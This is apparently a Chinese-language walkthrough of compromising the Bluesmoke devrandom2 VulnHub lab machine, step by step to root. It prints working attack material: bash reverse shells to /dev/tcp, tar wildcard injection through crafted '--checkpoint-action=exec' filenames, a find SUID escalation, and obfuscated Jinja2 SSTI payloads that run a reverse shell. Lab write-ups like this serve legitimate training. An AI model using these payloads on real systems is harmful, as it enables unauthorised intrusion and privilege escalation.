攻擊機:虛擬機器器kali、本機win10。
靶機:Bluesmoke: devrandom2,下載地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下載後直接vbox開啟即可。
知識點:ssti注入漏洞、shell反彈、ffuf掃描、tar萬用字元漏洞、私鑰破解與登入、find提權、解密(base32、base64、hexdump、hex、bin)
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.1.0/24,發現靶機地址:192.168.1.14。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.1.14,顯示開放了22埠、80埠,開啟了ssh服務、http服務。
使用gobuster進行目錄掃描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現了upload.php、/uploads資料夾等資訊。順帶進行下二級目錄掃描,在/uploads資料夾下只發現了index.php。
存取了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,並檢查下其原始碼資訊,但是均未發現有用得資訊 。
進行了下ffuf掃描,去探測請求引數,但是也未發現存在可以利用得引數。
存取web服務時其頁面顯示會對我們提交的tar和zip檔案進行檢查並提交到備份系統:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜測靶機會將我們上傳的tar檔案進行解壓然後檢查我們的檔案,檢查完之後在壓縮成tar後上傳到備份系統。關於tar命令存在一個和萬用字元有關的漏洞,之前利用過tar萬用字元進行提權。該漏洞就是當使用萬用字元壓縮檔案時,會將*替換成目錄下的檔名稱,因此我們可以在shell反彈指令碼的同目錄下新增以下兩個檔案:--checkpoint=1、--checkpoint-action=exec=sh upfine.shell,這樣當我們執行壓縮的時候就可以執行我們的指令碼資訊。下面是在kali中執行的壓縮,可以看到反彈shell指令碼可以正常執行,因此我麼將該檔案:upfine.tar上傳至靶機。
#upfine.shell內容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#檔案建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"
但是上傳靶機之後shell一直未反彈成功,後來壓縮語句不採用萬用字元壓縮就可以正常反彈shell許可權了,壓縮命令:tar cvf upfine.tar ./upfine.shell ./'--checkpoint=1' ./'--checkpoint-action=exec=sh upfine.shell'。
獲得shell許可權後在/home/backupper目錄下發現flag.txt,讀取該檔案成功獲得flag值,flag經兩次base64解密後得到:nc -e /bin/bash www.theworld.com 17722,暫時不知道有什麼用,先記下來。
首先查詢下具有root許可權的檔案資訊,命令:find / -perm -4000 -type f 2>/dev/null,但是未發現任何有用的資訊。
然後又上了linpeas.sh、pspty64進行資訊收集,但是仍是未發下可以利用的資訊。後面檢視了下/home/backupper/.ssh目錄下的私鑰:id_rsa,利用http服務將該檔案下載下來進行爆破,成功獲得密碼資訊:samantha1。注意開啟web服務時使用:python -m SimpleHTTPServer 8000。
使用獲得的密碼資訊嘗試切換jaap賬戶和remnie賬戶,但是均切換失敗。並且使用ssh協定登入backupper賬戶也是失敗(右側);
破解密碼後想著使用sudo -l檢視下可以使用的命令,但是顯示sudo不存在。然後看著破解的這個密碼比較簡單,想著破解下另外賬戶的密碼,但是破解失敗,未獲得密碼資訊。
後來就在本地生成公鑰和私鑰,命令:ssh-keygen -f upfine,輸入的密碼:samantha1,成功獲得公鑰和私鑰。
然後開啟http服務,將公鑰authorized_keys上傳到靶機,這樣就可以在本地使用私鑰直接進行連線,不在需要通過檔案上傳來進行shell的獲取。
使用私鑰登入到backupper賬戶的shell後,發現當我們嘗試ssh連線jaap賬戶時:ssh jaap@localhost,只需要我們輸入backupper賬戶的私鑰密碼:samantha1,當我們輸入之後成功切換到jaap賬戶許可權。
獲得jaap賬戶許可權後在/home/jaap目錄下發現flag.txt,讀取該檔案獲得flag值,對flag值進行兩次base64解密得:nc -e /bin/bash www.theworld.com 777。
獲得jaap許可權後,在/home/jaap/bin目錄下發現一個具有特殊許可權的檔案:find,那就直接查詢下find得提權方式,提權命令:./find . -exec /bin/sh -p \; -quit,直接輸入執行。執行完之後檢視其id資訊發現返回得資訊中多了一個egid=1002(remnie)。
先利用find查詢下具有remnie賬戶許可權的檔案資訊,命令:./find / -user remnie -type f 2>/dev/null,發現以下三個目錄中存在和remnie賬戶相關的資訊:/var/mail、/home/remnie、/opt/remnie。
然後依次去目錄下查詢下是否存在可以利用得資訊,在/home/remnie目錄下發現提示資訊,告訴我們存在一個本地服務在等著我們,但是未告訴我們埠。
然後在/opt/remnie/scripts目錄下發現start.sh檔案是可讀的,檢視該檔案資訊並進行分析,發現該檔案會讀取/tmp/start檔案的值並判斷是否為1,然後查詢server.py程序並決定是否開啟該程序。
那我們就需要建立該檔案並使其值為1,這裡可以自己建立,也可以直接通過靶機中留下的/home/jaap/bin/startserver.sh檔案來進行建立,這裡就直接自己 建立了,命令:echo "1" > start,然後檢視下該程序是否開啟,命令:ps -ef | grep server,發現該程序已開啟。
使用命令:netstat -tulpn檢視下本地開啟的服務,發現:127.0.0.1:8787。
這裡只允許本地存取,那我們將靶機的8787埠的流量轉到本地kali的8787埠中,命令:ssh -L 8787:127.0.0.1:8787 [email protected] -i upfine,8787服務可以成功存取。
繼續對該web服務進行目錄掃描、ffuf掃描,在ffuf掃描時發現引數名:name。
但是輸入引數:name=/etc/passwd並未讀取到/etc/passwd檔案,而是直接返回了輸入的資訊,考慮到剛在在靶機中開啟的是python服務,優先測試下ssti注入,當我們輸入{{3*3}}時,返回引數9,確定這裡存在ssti注入。
找以下ssti漏洞可以利用的模板,先進行測試是否可以執行,然後將執行的命令替換為shell反彈語句並進行shell的反彈,成功獲得remnie賬戶的shell。
#shell反彈語句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47").read().zfill(417)}}{%endif%}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen(\"\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47\").read()") }}{% endif %}{% endfor %}
#其中的編碼資料是下面的語句,主要是&符號的問題,不編碼無法執行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'
獲得remnie賬戶許可權的shell後在/opt/remnie目錄下發現flag.txt,讀取該檔案成功獲得flag值。
獲得remnie賬戶許可權後,去檢視下之前發現的server.py和server.conf檔案,server.py檔案未發現可以進行利用的資訊,存取server.conf時返回一組hash資料,使用:https://gchq.github.io/CyberChef這個網站依次進行hashdump->binary->hex->base32->base64,最終成功獲得一組賬戶和密碼資訊:root/-!F8h2LMr<\[n]`N]Kq。
直接利用獲得的root資訊:root/-!F8h2LMr<\[n]`N]Kq在remnie賬戶的shell中切換至root賬戶,切換root賬戶後在/root目錄下發現flag.txt,讀取該檔案成功獲得flag值。